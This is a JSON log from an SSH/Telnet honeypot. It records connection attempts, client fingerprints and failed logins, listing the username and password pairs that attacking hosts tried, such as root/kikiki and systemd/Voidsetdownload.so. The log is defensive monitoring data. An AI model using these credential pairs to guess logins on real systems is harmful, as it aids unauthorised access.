{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:08.608130Z","src_ip":"180.178.94.210","session":"19a8e0f8a662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:09.602439Z","src_ip":"106.243.250.115","session":"6efd64dc59d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno85c","password":"uno85c","message":"login attempt [uno85c/uno85c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:09.734296Z","src_ip":"180.178.94.210","session":"19a8e0f8a662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46488,"dst_ip":"159.203.135.109","dst_port":22,"session":"25f6f0f89ab8","protocol":"ssh","message":"New connection: 103.98.149.87:46488 (159.203.135.109:22) [session: 25f6f0f89ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:10.403901Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:11.017905Z","src_ip":"180.178.94.210","session":"19a8e0f8a662","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:11.590149Z","src_ip":"103.98.149.87","session":"25f6f0f89ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:11.595469Z","src_ip":"103.98.149.87","session":"25f6f0f89ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":53445,"dst_ip":"159.203.135.109","dst_port":22,"session":"91256c5fbc56","protocol":"ssh","message":"New connection: 190.6.32.107:53445 (159.203.135.109:22) [session: 91256c5fbc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:12.463268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:12.469319Z","src_ip":"190.6.32.107","session":"91256c5fbc56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:12.525862Z","src_ip":"190.6.32.107","session":"91256c5fbc56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:12.781919Z","src_ip":"190.6.32.107","session":"91256c5fbc56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kikiki","message":"login attempt [root/kikiki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:13.462343Z","src_ip":"103.98.149.87","session":"25f6f0f89ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:13.840441Z","src_ip":"190.6.32.107","session":"91256c5fbc56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:14.782819Z","src_ip":"103.98.149.87","session":"25f6f0f89ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":36388,"dst_ip":"159.203.135.109","dst_port":23,"session":"f12b3ff8f557","protocol":"telnet","message":"New connection: 79.139.59.21:36388 (159.203.135.109:23) [session: f12b3ff8f557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:16.929830Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43828,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6890f07f7dc","protocol":"telnet","message":"New connection: 69.4.83.194:43828 (159.203.135.109:23) [session: a6890f07f7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:25.716583Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50284,"dst_ip":"159.203.135.109","dst_port":23,"session":"0701dd6a0040","protocol":"telnet","message":"New connection: 69.4.83.194:50284 (159.203.135.109:23) [session: 0701dd6a0040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:39.793295Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":54218,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fddf5baba78","protocol":"ssh","message":"New connection: 43.133.65.220:54218 (159.203.135.109:22) [session: 0fddf5baba78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:52.597829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:52.602566Z","src_ip":"43.133.65.220","session":"0fddf5baba78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:52.816682Z","src_ip":"43.133.65.220","session":"0fddf5baba78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:53.706203Z","src_ip":"43.133.65.220","session":"0fddf5baba78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:54.939011Z","src_ip":"43.133.65.220","session":"0fddf5baba78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56538,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0866acce34a","protocol":"telnet","message":"New connection: 69.4.83.194:56538 (159.203.135.109:23) [session: a0866acce34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:57.636660Z"}
{"eventid":"cowrie.session.closed","duration":33.874860763549805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:18:59.591310Z","src_ip":"69.4.83.194","session":"a6890f07f7dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34216,"dst_ip":"159.203.135.109","dst_port":23,"session":"afcf9a733acd","protocol":"telnet","message":"New connection: 69.4.83.194:34216 (159.203.135.109:23) [session: afcf9a733acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:12.603039Z"}
{"eventid":"cowrie.session.closed","duration":33.637446641922,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:13.430464Z","src_ip":"69.4.83.194","session":"0701dd6a0040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":40624,"dst_ip":"159.203.135.109","dst_port":22,"session":"93b8a94e61e5","protocol":"ssh","message":"New connection: 101.79.165.133:40624 (159.203.135.109:22) [session: 93b8a94e61e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:22.357503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:22.362956Z","src_ip":"101.79.165.133","session":"93b8a94e61e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:22.577884Z","src_ip":"101.79.165.133","session":"93b8a94e61e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lord","password":"lord","message":"login attempt [lord/lord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:23.469460Z","src_ip":"101.79.165.133","session":"93b8a94e61e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:24.687676Z","src_ip":"101.79.165.133","session":"93b8a94e61e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.027939558029175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:30.664482Z","src_ip":"69.4.83.194","session":"a0866acce34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.5927619934082,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:39.522475Z","src_ip":"79.139.59.21","session":"f12b3ff8f557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.185.81.112","src_port":35102,"dst_ip":"10.17.0.5","dst_port":23,"session":"918c4974401e","protocol":"telnet","message":"New connection: 89.185.81.112:35102 (10.17.0.5:23) [session: 918c4974401e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:39.975610Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":55560,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec37733c616","protocol":"ssh","message":"New connection: 106.243.250.115:55560 (159.203.135.109:22) [session: 0ec37733c616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:50.329900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:50.334921Z","src_ip":"106.243.250.115","session":"0ec37733c616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:50.540727Z","src_ip":"106.243.250.115","session":"0ec37733c616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.07927417755127,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:50.682205Z","src_ip":"69.4.83.194","session":"afcf9a733acd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:51.376478Z","src_ip":"106.243.250.115","session":"0ec37733c616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:19:52.579378Z","src_ip":"106.243.250.115","session":"0ec37733c616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":57242,"dst_ip":"159.203.135.109","dst_port":22,"session":"135da55c2e2b","protocol":"ssh","message":"New connection: 180.178.94.210:57242 (159.203.135.109:22) [session: 135da55c2e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:00.441755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:00.447336Z","src_ip":"180.178.94.210","session":"135da55c2e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:00.741934Z","src_ip":"180.178.94.210","session":"135da55c2e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hdoop","password":"hdoop","message":"login attempt [hdoop/hdoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:01.921690Z","src_ip":"180.178.94.210","session":"135da55c2e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52186,"dst_ip":"159.203.135.109","dst_port":23,"session":"3708e2f8e8ed","protocol":"telnet","message":"New connection: 69.4.83.194:52186 (159.203.135.109:23) [session: 3708e2f8e8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:02.685755Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:03.203760Z","src_ip":"180.178.94.210","session":"135da55c2e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":42896,"dst_ip":"159.203.135.109","dst_port":22,"session":"368c6617d153","protocol":"ssh","message":"New connection: 190.6.32.107:42896 (159.203.135.109:22) [session: 368c6617d153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:07.383587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:07.396217Z","src_ip":"190.6.32.107","session":"368c6617d153","protocol":"ssh"}
